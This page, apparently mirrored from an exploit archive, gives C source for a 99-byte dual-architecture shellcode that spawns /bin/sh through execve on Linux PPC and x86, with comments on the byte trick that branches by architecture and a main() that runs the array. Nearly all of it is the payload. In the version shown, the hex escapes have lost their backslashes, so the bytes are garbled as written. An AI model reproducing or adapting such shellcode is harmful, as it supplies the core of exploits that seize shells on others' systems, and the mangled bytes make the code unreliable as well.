[Exploit] [Remote] [Local] [Web Apps] [Dos/Poc] [Shellcode] [RSS]
# Title : linux/PPC/x86 execve("/bin/sh",{"/bin/sh",NULL},NULL) 99 bytes
# Published : 2005-11-15
# Author : Charles Stevenson
# Previous Title : solaris/sparc portbind (port 6666) 240 bytes
# Next Title : os-x/PPC/x86 execve("/bin/sh",{"/bin/sh",NULL},NULL) 121 bytes
/*
* -[ dual-linux.c ]-
* by core@bokeoa.com (ripped from nemo@felinemenace.org)
* ^-- much <3 brotha ;)
*
* execve("/bin/sh",{"/bin/sh",NULL},NULL) shellcode for linux (both the ppc
* and x86 version.) I thought about adding mipsel but I don't feel up to it
* at the moment. In fact I feel like crap...
*
* Shoutz to nemo, andrewg, KF, ghandi, phased, MRX, Blue Boar, Solar Eclipse,
* HDM, FX, Max Vision, MaXx, c0ntex, izik, xort, banned-it, hoglund, SkyLined,
* Gera, Stealth (7350), Emmanuel, Hackademy, Raptor (0xdeadbeef), sh0k, jduck,
* xfocus, LSD, ADM, b10z, 0dd, ES, runixd, packy, norse, mXn, thn, dragnet,
* hdm, fozzy, str0ke, B|ueberry, <S>, rjohnson, Kaliman, capsyl, salvia,
* amnesia, arcanum, eazyass, loophole, my family and so any others...
*
* irc.pulltheplug.org #social
*
* peace ~ metta ~
*
* References:
* http://milw0rm.com/id.php?id=1318
* http://www.phrack.org/phrack/57/p57-0x0e
*/
char dual_linux[] =
//
// These four bytes work out to the following instruction
// in ppc arch: "rlwnm r16,r28,r29,13,4", which will
// basically do nothing on osx/ppc.
//
// However on x86 architecture the four bytes are 3
// instructions:
//
// "push/nop/jmp"
//
// In this way, execution will be taken to the x86 shellcode
// on an x86 machine, and the ppc shellcode when running
// on a ppc architecture machine.
//
"x5fx90xebx48"
"x69x69x69x69" /*nop*/
"x69x69x69x69" /*nop*/
"x69x69x69x69" /*nop*/
// linux/ppc execve /bin/sh by Charles Stevenson (core) <core@bokeoa.com>
"x7cx3fx0bx78" /*mr r31,r1 # optional instruction */
"x7cxa5x2ax79" /*xor. r5,r5,r5*/
"x42x40xffxf9" /*bdzl+ 10000454<main>*/
"x7fx08x02xa6" /*mflr r24*/
"x3bx18x01x34" /*addi r24,r24,308*/
"x98xb8xfexfb" /*stb r5,-261(r24)*/
"x38x78xfexf4" /*addi r3,r24,-268*/
"x90x61xffxf8" /*stw r3,-8(r1)*/
"x38x81xffxf8" /*addi r4,r1,-8*/
"x90xa1xffxfc" /*stw r5,-4(r1)*/
"x3bxc0x01x60" /*li r30,352*/
"x7fxc0x2ex70" /*srawi r0,r30,5*/
"x44xdexadxf2" /*.long 0x44deadf2*/
"/bin/shZ" // the last byte becomes NULL
// lnx_binsh4.c - v1 - 23 Byte /bin/sh sysenter Opcode Array Payload
// Copyright(c) 2005 c0ntex <c0ntex@open-security.org>
// Copyright(c) 2005 BaCkSpAcE <sinisa86@gmail.com>
"x6ax0bx58x99x52x68x2fx2f"
"x73x68x68x2fx62x69x6ex54"
"x5bx52x53x54x59x0fx34";
int main(int ac, char **av)
{
void (*fp)() = dual_linux;
fp();
}
// in loving memory of hack.co.za
// www.Syue.com [2005-11-15]